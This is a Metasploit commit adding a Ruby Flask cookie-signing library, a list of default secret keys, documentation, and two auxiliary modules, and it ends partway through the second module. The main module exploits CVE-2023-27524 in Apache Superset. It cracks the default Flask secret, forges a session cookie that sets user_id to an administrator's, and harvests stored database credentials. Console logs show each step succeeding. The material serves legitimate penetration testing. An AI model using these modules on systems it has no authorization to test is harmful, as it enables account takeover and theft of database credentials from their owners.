Land #18180, Flask unsign library, related modules
Apache Supserset Priv Esc (CVE-2023-27524) and Flask unsign Library
This commit is contained in:
commit
28c4902f4a
5
LICENSE
5
LICENSE
|
@ -49,6 +49,11 @@ Files: data/webcam/api.js
|
|||
Copyright: Copyright 2013 Muaz Khan<@muazkh>.
|
||||
License: MIT
|
||||
|
||||
Files: data/wordlists/flask_secret_keys.txt
|
||||
Source: https://github.com/Paradoxis/Flask-Unsign-Wordlist/blob/v2023.34/flask_unsign_wordlist/wordlists/github.txt
|
||||
Copyright: Copyright (c) 2023 Luke Paris (Paradoxis)
|
||||
License: MIT
|
||||
|
||||
Files: external/source/byakugan/*
|
||||
Copyright: Lurene Grenier, 2009
|
||||
License: BSD-3-clause
|
||||
|
|
File diff suppressed because one or more lines are too long
|
@ -0,0 +1,5 @@
|
|||
\x02\x01thisismyscretkey\x01\x02\\e\\y\\y\\h
|
||||
CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET
|
||||
thisISaSECRET_1234
|
||||
YOUR_OWN_RANDOM_GENERATED_SECRET_KEY
|
||||
TEST_NON_DEV_SECRET
|
|
@ -0,0 +1,99 @@
|
|||
|
||||
## Vulnerable Application
|
||||
|
||||
Apache Superset versions <= 2.0.0 utilize Flask with a known default secret key which is used to sign HTTP cookies.
|
||||
These cookies can therefore be forged. If a user is able to login to the site, they can decode the cookie, set their user_id to that
|
||||
of an administrator, and re-sign the cookie. This valid cookie can then be used to login as the targeted user and retrieve database
|
||||
credentials saved in Apache Superset.
|
||||
|
||||
## App Install
|
||||
|
||||
```
|
||||
sudo docker run -p 8088:8088 --name superset apache/superset:2.0.0
|
||||
sudo docker exec -it superset superset fab create-admin \
|
||||
--username admin \
|
||||
--firstname Superset \
|
||||
--lastname Admin \
|
||||
--email admin@superset.com \
|
||||
--password admin
|
||||
|
||||
sudo docker exec -it superset superset db upgrade
|
||||
sudo docker exec -it superset superset init
|
||||
```
|
||||
|
||||
Login to the app, click 'list users' under 'Settings', then click '+'. make a new user with 'Public' as the role.
|
||||
|
||||
If you want any database credentials to be pulled, you'll need to configure a database as well.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
1. Start msfconsole
|
||||
1. Do: `use auxiliary/gather/apache_superset_priv_esc`
|
||||
1. Do: `set username [username]`
|
||||
1. Do: `set password [password]`
|
||||
1. Do: `run`
|
||||
1. You should get an admin cookie and the database credentials
|
||||
|
||||
## Options
|
||||
|
||||
### USERNAME
|
||||
|
||||
The username to authenticate as. Required with no default.
|
||||
|
||||
### PASSWORD
|
||||
|
||||
The password for the specified username. Required with no default.
|
||||
|
||||
### ADMIN_ID
|
||||
|
||||
The ID of an admin account. Defaults to `1`
|
||||
|
||||
### SECRET_KEYS_FILE
|
||||
|
||||
A file containing secret keys to try. One per line. Defaults to `metasploit-framework/data/wordlists/superset_secret_keys.txt`
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Superset 2.0.0 Docker image
|
||||
|
||||
```
|
||||
msf6 > use auxiliary/gather/apache_superset_cookie_sig_priv_esc
|
||||
msf6 auxiliary(gather/apache_superset_priv_esc) > set rhosts 127.0.0.1
|
||||
rhosts => 127.0.0.1
|
||||
msf6 auxiliary(gather/apache_superset_priv_esc) > set username user
|
||||
username => user
|
||||
msf6 auxiliary(gather/apache_superset_priv_esc) > set password user
|
||||
password => user
|
||||
msf6 auxiliary(gather/apache_superset_priv_esc) > set verbose true
|
||||
verbose => true
|
||||
msf6 auxiliary(gather/apache_superset_priv_esc) > run
|
||||
[*] Running module against 127.0.0.1
|
||||
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. Apache Supset 2.0.0 is vulnerable
|
||||
[*] 127.0.0.1:8088 - CSRF Token: IjkzNDBmZmI4ZDc4M2I4NWNiYzlmNWQwOGM4NTcwZDUzZGVhZDMwZjEi.ZP8uyQ.iBpplhnMpXOZnjiV1Xh_reR_uLw
|
||||
[*] 127.0.0.1:8088 - Initial Cookie: session=eyJjc3JmX3Rva2VuIjoiOTM0MGZmYjhkNzgzYjg1Y2JjOWY1ZDA4Yzg1NzBkNTNkZWFkMzBmMSIsImxvY2FsZSI6ImVuIn0.ZP8uyQ.jHXs3u8dqoBUWeL1vjUTxXOWLAo;
|
||||
[*] 127.0.0.1:8088 - Decoded Cookie: {"csrf_token"=>"9340ffb8d783b85cbc9f5d08c8570d53dead30f1", "locale"=>"en"}
|
||||
[*] 127.0.0.1:8088 - Attempting login
|
||||
[+] 127.0.0.1:8088 - Logged in Cookie: session=.eJwNjUEKwyAQRa8isw7FYiXGG3TXfQhhojMmdDCgoaWE3L2uHnx4_50ws2BdqYIfT1BHA3yx5C0n6OCZPyhbVLKnLd_USwgrqaP8FCZsC0zX1LWLQnUFzyiVOgi18Hzsb8rgYTAPzby42DuzOBuWMLCN2gVnex2tiYTRaL63mOwBhZrTxOsPSKAxLA.ZP8uyQ.UvNg89u5vOnyFiip1diP8ABrDCY;
|
||||
.eJwNjUEKwyAQRa8isw7FYiXGG3TXfQhhojMmdDCgoaWE3L2uHnx4_50ws2BdqYIfT1BHA3yx5C0n6OCZPyhbVLKnLd_USwgrqaP8FCZsC0zX1LWLQnUFzyiVOgi18Hzsb8rgYTAPzby42DuzOBuWMLCN2gVnex2tiYTRaL63mOwBhZrTxOsPSKAxLA.ZP8uyQ.UvNg89u5vOnyFiip1diP8ABrDCY
|
||||
[*] 127.0.0.1:8088 - Checking secret key: \x02\x01thisismyscretkey\x01\x02\\e\\y\\y\\h
|
||||
[-] 127.0.0.1:8088 - Incorrect Secret Key: \x02\x01thisismyscretkey\x01\x02\\e\\y\\y\\h
|
||||
[*] 127.0.0.1:8088 - Checking secret key: CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET
|
||||
[+] 127.0.0.1:8088 - Found secret key: CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET
|
||||
[*] 127.0.0.1:8088 - Modified cookie: {"_flashes"=>[{" t"=>["warning", "Invalid login. Please try again."]}], "_fresh"=>false, "csrf_token"=>"9340ffb8d783b85cbc9f5d08c8570d53dead30f1", "locale"=>"en", "user_id"=>1}
|
||||
[*] 127.0.0.1:8088 - Attempting to resign with key: CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET
|
||||
[*] 127.0.0.1:8088 - New signed cookie: eyJfZmxhc2hlcyI6W3siIHQiOlsid2FybmluZyIsIkludmFsaWQgbG9naW4uIFBsZWFzZSB0cnkgYWdhaW4uIl19XSwiX2ZyZXNoIjpmYWxzZSwiY3NyZl90b2tlbiI6IjkzNDBmZmI4ZDc4M2I4NWNiYzlmNWQwOGM4NTcwZDUzZGVhZDMwZjEiLCJsb2NhbGUiOiJlbiIsInVzZXJfaWQiOjF9.ZP8uyQ.7Rgp9a7iPK-m7NQRbWpixG62CMo
|
||||
[+] 127.0.0.1:8088 - Cookie validated to user: admin
|
||||
[+] Found Super Secret DB: postgresql://dbuser:mysecretpassword@1.1.1.1:15432/supersetdb
|
||||
[*] Done enumerating databases
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(gather/apache_superset_priv_esc) > creds
|
||||
Credentials
|
||||
===========
|
||||
|
||||
host origin service public private realm private_type JtR Format
|
||||
---- ------ ------- ------ ------- ----- ------------ ----------
|
||||
111.222.3.444 111.222.3.444 3306/tcp (mysql) root my-secret-pw Password
|
||||
```
|
|
@ -0,0 +1,120 @@
|
|||
## Vulnerable Application
|
||||
|
||||
This is a generic module which can manipulate Python Flask-based application cookies.
|
||||
The Retrieve action will connect to a web server, grab the cookie, and decode it.
|
||||
The Resign action will do the same as above, but after decoding it, it will replace
|
||||
the contents with that in NEWCOOKIECONTENT, then sign the cookie with SECRET. This
|
||||
cookie can then be used in a browser. This is a Ruby based implementation of some
|
||||
of the features in the Python project Flask-Unsign.
|
||||
|
||||
### Example Application
|
||||
|
||||
Apache Superset can be used since it is based on Flask.
|
||||
|
||||
```
|
||||
sudo docker run -p 8088:8088 --name superset apache/superset:2.0.0
|
||||
sudo docker exec -it superset superset fab create-admin \
|
||||
--username admin \
|
||||
--firstname Superset \
|
||||
--lastname Admin \
|
||||
--email admin@superset.com \
|
||||
--password admin
|
||||
sudo docker exec -it superset superset db upgrade
|
||||
sudo docker exec -it superset superset init
|
||||
```
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
1. Start msfconsole
|
||||
1. Do: `use auxiliary/gather/python_flask_cookie_signer`
|
||||
1. Do: `set rhosts [IP]`
|
||||
1. Do: `run`
|
||||
1. You should get a decoded cookie
|
||||
|
||||
## Actions
|
||||
|
||||
### Retrieve
|
||||
|
||||
Retrieve a cookie from an HTTP(s) server
|
||||
|
||||
### FindSecret
|
||||
|
||||
Using the provided wordlist, find the secret key used to sign the cookie
|
||||
|
||||
### Resign
|
||||
|
||||
Resign the specified cookie data
|
||||
|
||||
## Options
|
||||
|
||||
### TARGETURI
|
||||
|
||||
The URI which gives a cookie. Redirects are NOT followed.
|
||||
|
||||
### NEWCOOKIECONTENT
|
||||
|
||||
When action is set to `Resign`, the content of the decoded cookie will be replaced with this content.
|
||||
|
||||
### SECRET
|
||||
|
||||
When action is set to `Resign`, the cookie is signed with this secret.
|
||||
|
||||
### SECRET_KEYS_FILE
|
||||
|
||||
When action is set to `FindSecret`, a file containing secret keys to try. One per line. Defaults to `metasploit-framework/data/wordlists/flask_secret_keys.txt`
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Apache Superset 2.0.0
|
||||
|
||||
#### Grab the cookie to make sure its a valid cookie that can be decoded. (Retrieve)
|
||||
|
||||
```
|
||||
msf6 > use auxiliary/gather/python_flask_cookie_signer
|
||||
msf6 auxiliary(gather/python_flask_cookie_signer) > set RHOSTS 192.168.159.128
|
||||
RHOSTS => 192.168.159.128
|
||||
msf6 auxiliary(gather/python_flask_cookie_signer) > set RPORT 8088
|
||||
RPORT => 8088
|
||||
msf6 auxiliary(gather/python_flask_cookie_signer) > set TARGETURI /login
|
||||
TARGETURI => /login
|
||||
msf6 auxiliary(gather/python_flask_cookie_signer) > run
|
||||
[*] Running module against 192.168.159.128
|
||||
|
||||
[*] 192.168.159.128:8088 - Retrieving Cookie
|
||||
[*] 192.168.159.128:8088 - Initial Cookie: session=eyJjc3JmX3Rva2VuIjoiZDU2N2U1ZDJmYmU1NDIyOTRlMzFhODU5YWFiMjQ5MTcwMDcyNTNhMyIsImxvY2FsZSI6ImVuIn0.ZPoc7Q.y_slNhIvS7PDX1gKMYpBS1nW0L0
|
||||
[*] 192.168.159.128:8088 - Decoded Cookie: {"csrf_token"=>"d567e5d2fbe542294e31a859aab24917007253a3", "locale"=>"en"}
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
#### Determine the secret key (FindSecret)
|
||||
|
||||
```
|
||||
msf6 auxiliary(gather/python_flask_cookie_signer) > set action FindSecret
|
||||
action => findsecret
|
||||
msf6 auxiliary(gather/python_flask_cookie_signer) > run
|
||||
[*] Running module against 127.0.0.1
|
||||
|
||||
[*] 127.0.0.1:8088 - Retrieving Cookie
|
||||
[*] 127.0.0.1:8088 - Initial Cookie: session=eyJjc3JmX3Rva2VuIjoiZjNlMjU1MzBkZWNkYjE4YzRkYWMxMTQzODgyYjg1ODlmMWM3YzFjYyIsImxvY2FsZSI6ImVuIn0.ZP9b0w.PjZZJJ1lSiUQPacotJV0zbxX3fU
|
||||
[+] 127.0.0.1:8088 - Found secret key: CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
#### Sign a new cookie (Resign)
|
||||
|
||||
```
|
||||
msf6 auxiliary(gather/python_flask_cookie_signer) > set NEWCOOKIECONTENT '{"csrf_token"=>"08e51dd1f352d6790e6ab9b99dadd621602b9189", "locale"=>"fr"}'
|
||||
NEWCOOKIECONTENT => {"csrf_token"=>"08e51dd1f352d6790e6ab9b99dadd621602b9189", "locale"=>"fr"}
|
||||
msf6 auxiliary(gather/python_flask_cookie_signer) > set SECRET CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET
|
||||
SECRET => CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET
|
||||
msf6 auxiliary(gather/python_flask_cookie_signer) > set ACTION Resign
|
||||
ACTION => Resign
|
||||
msf6 auxiliary(gather/python_flask_cookie_signer) > run
|
||||
[*] Running module against 192.168.159.128
|
||||
|
||||
[*] Attempting to sign with key: CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET
|
||||
[+] 192.168.159.128:8088 - New signed cookie: session=IntcImNzcmZfdG9rZW5cIj0-XCIwOGU1MWRkMWYzNTJkNjc5MGU2YWI5Yjk5ZGFkZDYyMTYwMmI5MTg5XCIsIFwibG9jYWxlXCI9PlwiZnJcIn0i.ZPodFA.4hA6OiYpdxAUoOsA9L7DMTVOZkI
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(gather/python_flask_cookie_signer) >
|
||||
```
|
|
@ -0,0 +1,99 @@
|
|||
require 'base64'
|
||||
require 'json'
|
||||
require 'openssl'
|
||||
require 'zlib'
|
||||
|
||||
module Msf
|
||||
class Exploit
|
||||
class Remote
|
||||
module HTTP
|
||||
module FlaskUnsign
|
||||
# This module is a ruby implementation of https://github.com/Paradoxis/Flask-Unsign which can be used to
|
||||
# decode, and re-sign cookies
|
||||
|
||||
def self.base64_encode(value)
|
||||
Base64.urlsafe_encode64(value).gsub(/=+$/, '')
|
||||
end
|
||||
|
||||
class URLSafeSigner
|
||||
DEFAULT_SEPARATOR = '.'
|
||||
|
||||
def initialize(secret_key, salt, separator: DEFAULT_SEPARATOR)
|
||||
@secret_key = secret_key
|
||||
@salt = salt
|
||||
@separator = separator
|
||||
end
|
||||
|
||||
def derive_key
|
||||
hmac = OpenSSL::HMAC.new(@secret_key, OpenSSL::Digest.new('SHA1'))
|
||||
hmac.update(@salt)
|
||||
hmac.digest
|
||||
end
|
||||
|
||||
def get_signature(value)
|
||||
hmac = OpenSSL::HMAC.new(derive_key, OpenSSL::Digest.new('SHA1'))
|
||||
hmac.update(value)
|
||||
FlaskUnsign.base64_encode(hmac.digest)
|
||||
end
|
||||
end
|
||||
|
||||
class URLSafeTimedSigner < URLSafeSigner
|
||||
def get_timestamp
|
||||
Time.now.to_f
|
||||
end
|
||||
|
||||
def timestamp_to_datetime(ts)
|
||||
Time.at(ts)
|
||||
end
|
||||
|
||||
def sign(value)
|
||||
timestamp = [get_timestamp].pack('Q>')
|
||||
timestamp.delete_prefix!("\x00".b) while timestamp.start_with?("\x00".b)
|
||||
timestamp = FlaskUnsign.base64_encode(timestamp)
|
||||
value = value + @separator + timestamp
|
||||
value + @separator + get_signature(value)
|
||||
end
|
||||
|
||||
def valid?(value)
|
||||
value, _, signature = value.rpartition(@separator)
|
||||
value, _, timestamp = value.rpartition(@separator)
|
||||
signature == get_signature(value + @separator + timestamp)
|
||||
end
|
||||
end
|
||||
|
||||
# This emulates the default cookie-based session storage used by the latest version of Flask as of the time of
|
||||
# this writing (2023-09-07).
|
||||
# See: https://github.com/pallets/flask/blob/8037487165a196015a646de25cbce6d0351c8fc4/src/flask/sessions.py#L276
|
||||
module Session
|
||||
DEFAULT_SALT = 'cookie-session'
|
||||
|
||||
def self.decode(value)
|
||||
parse(value)[:deserialized]
|
||||
end
|
||||
|
||||
def self.parse(value)
|
||||
compressed = value.start_with?('.')
|
||||
value = value[1..] if compressed
|
||||
|
||||
serialized, signature = value.split('.', 3)
|
||||
value = Base64.urlsafe_decode64(serialized)
|
||||
value = Zlib::Inflate.inflate(value) if compressed
|
||||
{ compressed: compressed, signature: signature, deserialized: JSON.parse(value), serialized: serialized }
|
||||
end
|
||||
|
||||
def self.sign(value, secret, salt: DEFAULT_SALT)
|
||||
json = JSON.dump(value)
|
||||
signer = URLSafeTimedSigner.new(secret, salt)
|
||||
signer.sign(FlaskUnsign.base64_encode(json).strip)
|
||||
end
|
||||
|
||||
def self.valid?(value, secret, salt: DEFAULT_SALT)
|
||||
signer = URLSafeTimedSigner.new(secret, salt)
|
||||
signer.valid?(value)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,198 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Apache Superset Signed Cookie Priv Esc',
|
||||
'Description' => %q{
|
||||
Apache Superset versions <= 2.0.0 utilize Flask with a known default secret key which is used to sign HTTP cookies.
|
||||
These cookies can therefore be forged. If a user is able to login to the site, they can decode the cookie, set their user_id to that
|
||||
of an administrator, and re-sign the cookie. This valid cookie can then be used to login as the targeted user and retrieve database
|
||||
credentials saved in Apache Superset.
|
||||
},
|
||||
'Author' => [
|
||||
'h00die', # MSF module
|
||||
'paradoxis', # original flask-unsign tool
|
||||
'Spencer McIntyre', # MSF flask-unsign library
|
||||
'Naveen Sunkavally' # horizon3.ai writeup and cve discovery
|
||||
],
|
||||
'References' => [
|
||||
['URL', 'https://github.com/Paradoxis/Flask-Unsign'],
|
||||
['URL', 'https://vulcan.io/blog/cve-2023-27524-in-apache-superset-what-you-need-to-know/'],
|
||||
['URL', 'https://www.horizon3.ai/cve-2023-27524-insecure-default-configuration-in-apache-superset-leads-to-remote-code-execution/'],
|
||||
['URL', 'https://github.com/horizon3ai/CVE-2023-27524/blob/main/CVE-2023-27524.py'],
|
||||
['EDB', '51447'],
|
||||
['CVE', '2023-27524' ],
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'Reliability' => [],
|
||||
'SideEffects' => [IOC_IN_LOGS]
|
||||
},
|
||||
'DisclosureDate' => '2023-04-25'
|
||||
)
|
||||
)
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(8088),
|
||||
OptString.new('USERNAME', [true, 'The username to authenticate as', nil]),
|
||||
OptString.new('PASSWORD', [true, 'The password for the specified username', nil]),
|
||||
OptInt.new('ADMIN_ID', [true, 'The ID of an admin account', 1]),
|
||||
OptString.new('TARGETURI', [ true, 'Relative URI of Apache Superset installation', '/']),
|
||||
OptPath.new('SECRET_KEYS_FILE', [
|
||||
false, 'File containing secret keys to try, one per line',
|
||||
File.join(Msf::Config.data_directory, 'wordlists', 'superset_secret_keys.txt')
|
||||
]),
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def check
|
||||
res = send_request_cgi!({
|
||||
'uri' => normalize_uri(target_uri.path, 'login')
|
||||
})
|
||||
return Exploit::CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?
|
||||
return Exploit::CheckCode::Unknown("#{peer} - Unexpected response code (#{res.code})") unless res.code == 200
|
||||
return Exploit::CheckCode::Safe("#{peer} - Unexpected response, version_string not detected") unless res.body.include? 'version_string'
|
||||
unless res.body =~ /"version_string": "([\d.]+)"/
|
||||
return Exploit::CheckCode::Safe("#{peer} - Unexpected response, unable to determine version_string")
|
||||
end
|
||||
|
||||
version = Rex::Version.new(Regexp.last_match(1))
|
||||
if version < Rex::Version.new('2.0.1') && version >= Rex::Version.new('1.4.1')
|
||||
Exploit::CheckCode::Appears("Apache Supset #{version} is vulnerable")
|
||||
else
|
||||
Exploit::CheckCode::Safe("Apache Supset #{version} is NOT vulnerable")
|
||||
end
|
||||
end
|
||||
|
||||
def get_secret_key(cookie)
|
||||
File.open(datastore['SECRET_KEYS_FILE'], 'rb').each do |secret|
|
||||
secret = secret.strip
|
||||
vprint_status("#{peer} - Checking secret key: #{secret}")
|
||||
|
||||
unescaped_secret = Rex::Text.dehex(secret.gsub('\\', '\\').gsub('\\n', "\n").gsub('\\t', "\t"))
|
||||
unless Msf::Exploit::Remote::HTTP::FlaskUnsign::Session.valid?(cookie, unescaped_secret)
|
||||
vprint_bad("#{peer} - Incorrect secret key: #{secret}")
|
||||
next
|
||||
end
|
||||
|
||||
print_good("#{peer} - Found secret key: #{secret}")
|
||||
return secret
|
||||
end
|
||||
nil
|
||||
end
|
||||
|
||||
def validate_cookie(decoded_cookie, secret_key)
|
||||
print_status("#{peer} - Attempting to resign with key: #{secret_key}")
|
||||
encoded_cookie = Msf::Exploit::Remote::HTTP::FlaskUnsign::Session.sign(decoded_cookie, secret_key)
|
||||
|
||||
print_status("#{peer} - New signed cookie: #{encoded_cookie}")
|
||||
cookie_jar.clear
|
||||
res = send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'me', '/'),
|
||||
'cookie' => "session=#{encoded_cookie};",
|
||||
'keep_cookies' => true
|
||||
)
|
||||
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
|
||||
if res.code == 401
|
||||
print_bad("#{peer} - Cookie not accepted")
|
||||
return nil
|
||||
end
|
||||
data = res.get_json_document
|
||||
print_good("#{peer} - Cookie validated to user: #{data['result']['username']}")
|
||||
return encoded_cookie
|
||||
end
|
||||
|
||||
def run
|
||||
res = send_request_cgi!({
|
||||
'uri' => normalize_uri(target_uri.path, 'login'),
|
||||
'keep_cookies' => true
|
||||
})
|
||||
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
|
||||
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response code (#{res.code})") unless res.code == 200
|
||||
|
||||
fail_with(Failure::NotFound, 'Unable to determine csrf token') unless res.body =~ /name="csrf_token" type="hidden" value="([\w.-]+)">/
|
||||
|
||||
csrf_token = Regexp.last_match(1)
|
||||
vprint_status("#{peer} - CSRF Token: #{csrf_token}")
|
||||
cookie = res.get_cookies.to_s
|
||||
print_status("#{peer} - Initial Cookie: #{cookie}")
|
||||
decoded_cookie = Msf::Exploit::Remote::HTTP::FlaskUnsign::Session.decode(cookie.split('=')[1].gsub(';', ''))
|
||||
print_status("#{peer} - Decoded Cookie: #{decoded_cookie}")
|
||||
print_status("#{peer} - Attempting login")
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, 'login', '/'),
|
||||
'keep_cookies' => true,
|
||||
'method' => 'POST',
|
||||
'ctype' => 'application/x-www-form-urlencoded',
|
||||
'vars_post' => {
|
||||
'username' => datastore['USERNAME'],
|
||||
'password' => datastore['PASSWORD'],
|
||||
'csrf_token' => csrf_token
|
||||
}
|
||||
})
|
||||
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
|
||||
fail_with(Failure::NoAccess, "#{peer} - Failed login") if res.body.include? 'Sign In'
|
||||
cookie = res.get_cookies.to_s
|
||||
print_good("#{peer} - Logged in Cookie: #{cookie}")
|
||||
|
||||
# get the cookie value and strip off anything else
|
||||
cookie = cookie.split('=')[1].gsub(';', '')
|
||||
|
||||
secret_key = get_secret_key(cookie)
|
||||
fail_with(Failure::NotFound, 'Unable to find secret key') if secret_key.nil?
|
||||
|
||||
decoded_cookie = Msf::Exploit::Remote::HTTP::FlaskUnsign::Session.decode(cookie)
|
||||
decoded_cookie['user_id'] = datastore['ADMIN_ID']
|
||||
print_status("#{peer} - Modified cookie: #{decoded_cookie}")
|
||||
admin_cookie = validate_cookie(decoded_cookie, secret_key)
|
||||
|
||||
fail_with(Failure::NoAccess, "#{peer} - Unable to sign cookie with a valid secret") if admin_cookie.nil?
|
||||
(1..101).each do |i|
|
||||
res = send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'database', i),
|
||||
'cookie' => "session=#{admin_cookie};",
|
||||
'keep_cookies' => true
|
||||
)
|
||||
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
|
||||
if res.code == 401 || res.code == 404
|
||||
print_status('Done enumerating databases')
|
||||
break
|
||||
end
|
||||
result_json = res.get_json_document
|
||||
db_display_name = result_json['result']['database_name']
|
||||
db_name = result_json['result']['parameters']['database']
|
||||
db_type = result_json['result']['backend']
|
||||
db_host = result_json['result']['parameters']['host']
|
||||
db_port = result_json['result']['parameters']['port']
|
||||
db_pass = result_json['result']['parameters']['password']
|
||||
db_user = result_json['result']['parameters']['username']
|
||||
if framework.db.active
|
||||
create_credential_and_login({
|
||||
address: db_host,
|
||||
port: db_port,
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id,
|
||||
origin_type: :service,
|
||||
service_name: db_type,
|
||||
username: db_user,
|
||||
private_type: :password,
|
||||
private_data: db_pass,
|
||||
module_fullname: fullname,
|
||||
status: Metasploit::Model::Login::Status::UNTRIED
|
||||
})
|
||||
end
|
||||
print_good("Found #{db_display_name}: #{db_type}://#{db_user}:#{db_pass}@#{db_host}:#{db_port}/#{db_name}")
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,150 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Python Flask Cookie Signer',
|
||||
'Description' => %q{
|
||||
This is a generic module which can manipulate Python Flask-based application cookies.
|
||||
The Retrieve action will connect to a web server, grab the cookie, and decode it.
|
||||
The Resign action will do the same as above, but after decoding it, it will replace
|
||||
the contents with that in NEWCOOKIECONTENT, then sign the cookie with SECRET. This
|
||||
cookie can then be used in a browser. This is a Ruby based implementation of some
|
||||
of the features in the Python project Flask-Unsign.
|
||||
},
|
||||
'Author' => [
|
||||
'h00die', # MSF module
|
||||
'paradoxis', # original flask-unsign tool
|
||||
'Spencer McIntyre', # MSF flask-unsign library
|
||||
],
|
||||
'References' => [
|
||||
['URL', 'https://github.com/Paradoxis/Flask-Unsign'],
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'Reliability' => [],
|
||||
'SideEffects' => []
|
||||
},
|
||||
'Actions' => [
|
||||
['Retrieve', { 'Description' => 'Retrieve a cookie from an HTTP(s) server' }],
|
||||
['FindSecret', { 'Description' => 'Brute force the secret key used to sign the cookie' }],
|
||||
['Resign', { 'Description' => 'Resign the specified cookie data' }]
|
||||
],
|
||||
'DefaultAction' => 'Retrieve',
|
||||
'DisclosureDate' => '2019-01-26' # first commit by @Paradoxis to the Flask-Unsign repo
|
||||
)
|
||||
)
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(80),
|
||||
OptString.new('TARGETURI', [ true, 'URI to browse', '/']),
|
||||
OptString.new('NEWCOOKIECONTENT', [ false, 'Content of a cookie to sign', ''], conditions: %w[ACTION == Resign]),
|
||||
OptString.new('SECRET', [ true, 'The key with which to sign the cookie', '']),
|
||||
OptPath.new('SECRET_KEYS_FILE', [
|
||||
false, 'File containing secret keys to try, one per line',
|
||||
File.join(Msf::Config.data_directory, 'wordlists', 'flask_secret_keys.txt')
|
||||
], conditions: %w[ACTION == FindSecret]),
|
||||
]
|
||||
)
|
||||
register_advanced_options(
|
||||
[
|
||||
OptString.new('CookieName', [ true, 'The name of the session cookie', 'session' ]),
|
||||
OptString.new('Salt', [ true, 'The salt to use for key derivation', Msf::Exploit::Remote::HTTP::FlaskUnsign::Session::DEFAULT_SALT ])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def action_find_secret
|
||||
print_status("#{peer} - Retrieving Cookie")
|
||||
res = send_request_cgi!({
|
||||
'uri' => normalize_uri(target_uri.path),
|
||||
'keep_cookies' => true
|
||||
})
|
||||
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
|
||||
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response code (#{res.code})") unless res.code == 200
|
||||
|
||||
cookie = cookie_jar.cookies.find { |c| c.name == datastore['CookieName'] }&.cookie_value
|
||||
fail_with(Failure::UnexpectedReply, "#{peer} - Response is missing the session cookie") unless cookie
|
||||
|
||||
print_status("#{peer} - Initial Cookie: #{cookie}")
|
||||
|
||||
# get the cookie value and strip off anything else
|
||||
cookie = cookie.split('=')[1].gsub(';', '')
|
||||
|
||||
File.open(datastore['SECRET_KEYS_FILE'], 'rb').each do |secret|
|
||||
secret = secret.strip
|
||||
vprint_status("#{peer} - Checking secret key: #{secret}")
|
||||
|
||||
unescaped_secret = unescape_string(secret)
|
||||
unless Msf::Exploit::Remote::HTTP::FlaskUnsign::Session.valid?(cookie, unescaped_secret)
|
||||
vprint_bad("#{peer} - Incorrect secret key: #{secret}")
|
||||
next
|
||||
end
|
||||
|
||||
print_good("#{peer} - Found secret key: #{secret}")
|
||||
return secret
|
||||
end
|
||||
nil
|
||||
end
|
||||
|
||||
def action_retrieve
|
||||
print_status("#{peer} - Retrieving Cookie")
|
||||
res = send_request_cgi!({
|
||||
'uri' => normalize_uri(target_uri.path),
|
||||
'keep_cookies' => true
|
||||
})
|
||||
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
|
||||
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response code (#{res.code})") unless res.code == 200
|
||||
|
||||
cookie = cookie_jar.cookies.find { |c| c.name == datastore['CookieName'] }&.cookie_value
|
||||
fail_with(Failure::UnexpectedReply, "#{peer} - Response is missing the session cookie") unless cookie
|
||||
|
||||
print_status("#{peer} - Initial Cookie: #{cookie}")
|
||||
